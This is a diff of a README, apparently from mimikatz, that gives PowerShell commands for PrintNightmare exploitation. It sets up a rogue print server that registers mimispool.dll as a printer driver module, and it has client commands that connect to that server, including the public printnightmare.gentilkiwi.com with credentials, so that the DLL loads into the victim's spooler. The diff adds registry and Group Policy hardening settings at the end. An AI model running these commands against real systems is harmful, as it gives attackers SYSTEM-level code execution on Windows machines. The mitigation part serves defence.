1- ## PowerShell commands
2-
3- ### Server
4-
5- #### install
6- ```
1+ ## PowerShell commands
2+
3+ ### Server
4+
5+ #### install
6+ ```
77$printerName = 'Kiwi Legit Printer'
88$system32 = $env:systemroot + '\system32'
99$drivers = $system32 + '\spool\drivers'
@@ -36,10 +36,10 @@ New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory
3636New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
3737New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
3838
39- ```
40-
41- #### uninstall
42- ```
39+ ```
40+
41+ #### uninstall
42+ ```
4343$printerName = 'Kiwi Legit Printer'
4444$system32 = $env:systemroot + '\system32'
4545$drivers = $system32 + '\spool\drivers'
@@ -48,16 +48,16 @@ Remove-Printer -Name $printerName
4848Start-Sleep -Seconds 2
4949Remove-PrinterDriver -Name 'Generic / Text Only'
5050
51- Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll')
52- Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll')
53- Remove-Item -Force -Path ($system32 + '\mimispool.dll')
54-
55- ```
56-
57- ### Client
58-
59- #### Any computer with explicit credential to ` printnightmare.gentilkiwi.com `
60- ```
51+ Remove-Item -Force -Path ($drivers + '\x64\3\mimispool.dll')
52+ Remove-Item -Force -Path ($drivers + '\W32X86\3\mimispool.dll')
53+ Remove-Item -Force -Path ($system32 + '\mimispool.dll')
54+
55+ ```
56+
57+ ### Client
58+
59+ #### Any computer with explicit credential to ` printnightmare.gentilkiwi.com `
60+ ```
6161$serverName = 'printnightmare.gentilkiwi.com'
6262$username = 'gentilguest'
6363$password = 'password'
@@ -75,13 +75,13 @@ Add-Printer -ConnectionName $fullprinterName
7575$driver = (Get-Printer -Name $fullprinterName).DriverName
7676Remove-Printer -Name $fullprinterName
7777Remove-PrinterDriver -Name $driver
78- Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
79- # mimispool still in spool\drivers
80-
81- ```
82-
83- #### Computer in domain (single sign on with current user to print server)
84- ```
78+ Remove-PSDrive -Force -Name 'KiwiLegitPrintServer'
79+ # mimispool still in spool\drivers
80+
81+ ```
82+
83+ #### Computer in domain (single sign on with current user to print server)
84+ ```
8585$serverName = 'print.lab.local'
8686$printerName = 'Kiwi Legit Printer'
8787
@@ -92,7 +92,39 @@ Add-Printer -ConnectionName $fullprinterName
9292
9393$driver = (Get-Printer -Name $fullprinterName).DriverName
9494Remove-Printer -Name $fullprinterName
95- Remove-PrinterDriver -Name $driver
96- # mimispool still in spool\drivers
97-
98- ```
95+ Remove-PrinterDriver -Name $driver
96+ # mimispool still in spool\drivers
97+
98+ ```
99+
100+ ## Protect
101+ _ to adapt to your environment_
102+
103+ ### Registry
104+
105+ #### ` .reg ` file
106+ ```
107+ Windows Registry Editor Version 5.00
108+
109+ [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint]
110+ "PackagePointAndPrintOnly"=dword:00000001
111+ "PackagePointAndPrintServerList"=dword:00000001
112+
113+ [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers]
114+ "1"="/your really legit servers or invalid entry !/"
115+ ```
116+
117+ #### commands
118+ ```
119+ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintServerList /t REG_DWORD /d 1
120+ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint\ListofServers" /f /v 1 /t REG_SZ /d "/your really legit servers or invalid entry !/"
121+ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PackagePointAndPrint" /f /v PackagePointAndPrintOnly /t REG_DWORD /d 1
122+ ```
123+
124+ ### GPO / Local
125+
126+ In ` Computer Configuration ` , ` Administrative Templates ` , ` Printers ` , enable:
127+ - ` Only use Package Point and Print `
128+ - ` Package Point and Print - Approved servers `
129+
130+ ![ image] ( https://user-images.githubusercontent.com/2307945/129240741-b2a0ba14-6858-4c3f-ad07-07fa55efca29.png )
0 commit comments